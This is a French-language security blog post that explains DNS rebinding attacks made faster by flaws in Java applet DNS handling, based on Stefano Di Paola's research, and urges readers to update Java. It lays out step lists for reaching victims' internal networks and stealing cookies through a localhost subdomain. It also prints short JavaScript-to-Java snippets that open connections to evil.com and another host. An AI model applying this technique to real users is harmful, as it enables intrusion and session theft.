DNS Rebinding + Java

Les découvertes de Stefano Di Paola sur les problèmes liés à la gestion des DNS de Java sont fort intéressantes. On va donc regarder ici pourquoi il est important de mettre à jour votre version de Java au plus vite.

Pour ceux qui ne le sauraient pas, le DNS Rebinding est une attaque dont l’idée est de forcer un client à effectuer plusieurs requêtes DNS vers un seul et unique nom de domaine et de répondre de manière différente pour chacune des requêtes. Ceci peut par exemple être utilisé pour contourner la “Same Origin Policy” (SOP) implémentée par les navigateurs Webs empêchant un site X de communiquer avec un site Y sur un autre domaine. En effet, si une page se trouvant sur le site X inclut une frame du site Y, il sera impossible d’accéder au contenu de cette frame depuis la page extérieure. Par contre, si l’attaquant arrive à faire croire au navigateur que la frame interne se trouve sur le même domaine que le site X, alors l’accès est autorisé.

Cette attaque reste cependant peu pratique car les navigateurs implémentent tous une protection contre le DNS Rebinding qu’on appelle généralement DNS Pinning, c’est-à-dire qu’ils vont garder en cache, pendant un temps plus ou moins long, la valeur de la réponse DNS, même si cette dernière contient un TTL de 0. Un attaquant est alors obligé de garder une victime sur un site malicieux pendant assez de temps (5 minutes sur Firefox par exemple) pour que l’attaque puisse avoir lieu.

Un exemple d’attaque pourrait être le suivant:

  1. L’attaquant convainc une victime de visiter le site http://evil.com
  2. Ne connaissant pas l’adresse IP de ce site, le navigateur effectue une requête DNS pour evil.com
  3. La réponse contient la réelle adresse : 6.6.6.6
  4. Le site charge un jeu en flash destiné à garder l’utilisateur sur la page aussi longtemps que possible
  5. Quelques minutes plus tard un JavaScript se lance pour accéder au contenu de la page http://evil.com
  6. Le cache DNS ayant expiré, le navigateur effectue une nouvelle requête DNS
  7. La réponse cette fois est de 192.168.1.1
  8. Le site peut alors intéragir avec cette nouvelle adresse IP

On peut donc utiliser cela pour accéder à des ressources sur le réseau interne de la victime, ou accéder aux données de la victime sur un autre site où il se serait identifié au préalable.

Avec Java, l’attaque devient beaucoup plus rapide. En effet, à cause d’un problème d’implémentation, il est possible de réaliser l’attaque et de rebinder le DNS en quelques secondes. Lors du chargement d’une page d’un site X, la première requête DNS est effectuée pour accéder tout d’abord à la page, puis la JVM effectue immédiatement une deuxième requête pour accéder à l’applet. Cependant, si l’on modifie la réponse de cette réponse DNS, l’applet ne peut pas se charger, car il ne se trouve plus à la bonne adresse IP. Ceci n’est pourtant pas un problème, car il suffit de charger une deuxième applet sur un site aléatoire, pour ensuite pouvoir accéder aux commandes Java depuis Javascript tout en ayant garder en cache la réponse de la dexième requête DNS. L’attaque se décompose donc comme suit:

  1. Chargement de la page http://evil.com (DNS => 6.6.6.6)
  2. Chargement de l’applet par la JVM http://evil.com/applet.class (DNS => 192.168.1.1)
  3. Chargement d’une applet sur un autre site pour démarrer correctement la JVM
  4. Appels Java depuis Javascript
  • t = new Packages.java.net.URL(“http://evil.com/”);
  • u = t.openConnection();
  • in1 = new java.io.BufferedReader(new java.io.InputStreamReader(u.getInputStream()));

Ceci peut être fait en quelques secondes ce qui rend l’attaque beaucoup plus dangereuse.

Un deuxième aspect intéressant au niveau de Java est le fait qu’il ne gère pas le SOP de la même manière que les navigateurs Web. En effet, pour Java des requêtes entre plusieurs domaines différents se trouvant sur une seule et même adresse IP sont tout à fait valables. Il est donc possible de charger un applet sur le site X et accéder au contenu du site Y pour autant qu’ils soient hébergés sur la même machine.

Ceci pose évidemment un gros risque pour tout site se trouvant sur un serveur mutualisé. Mais en combinant cette “fonctionnalité” avec l’attaque par rebinding décrite plus haut, il est possible de créer des vecteurs d’attaques intéressants. Une idée décrite par Di Paola consiste à rebinder un nom de domaine à l’adresse 127.0.0.1. A première vue, cela ne semble pas extrèmement intéressant, mais cela permet par exemple d’ouvrir un port en écoute sur cette interface sur la machine d’une victime. Il est par contre impossible de s’y connecter depuis l’extérieur. Cependant, il est possible de demander au navigateur de s’y connecter en ajoutant une nouvelle frame par exemple. On peut à nouveau se demander quelle pourrait être l’utilité de cette manipulation jusqu’à ce qu’on se rende compte que plusieurs sites Web connus ont un sous-domaine qui résout en 127.0.0.1 et que souvent les cookies d’un site sont attribués pour le domaine ainsi que tous ses sous-domaines. Il est donc possible de voler les cookies de ces sites sans jamais sortir de la “sandbox” imposée par Java. Si l’on récapitule l’attaque, on note les points suivants:

  1. Victime se connecte sur le site X qui est résolu un 1.2.3.4
  2. Chargement de l’applet qui résout le site X en 127.0.0.1
  3. Applet ouvre le port 8000 en écoute sur 127.0.0.1
  4. Le site X dirige une frame cachée vers localhost.victimdomain.com (qui résout en 127.0.0.1)
  5. Le navigateur se connecte à localhost.victimdomain.com et envoie les éventuels cookies pour ce site
  6. L’applet reçoit la connexion ainsi que la valeur des cookies de la victime

L’exemple utilisé par  Di Paola est valable pour le site delicious.com dont localhost.delicious.com résout sur 127.0.0.1.

Ces attaques ne requièrent qu’une simple visite d’une page sous le contrôle de l’attaquant et ne nécessitent que quelques secondes. Il est donc fortement recommandé de mettre à jour votre version de Java au plus vite, si ce n’est déjà fait.

t = new Packages.java.net.URL(“http://lol.t.scrt.ch/”);
u = t.openConnection();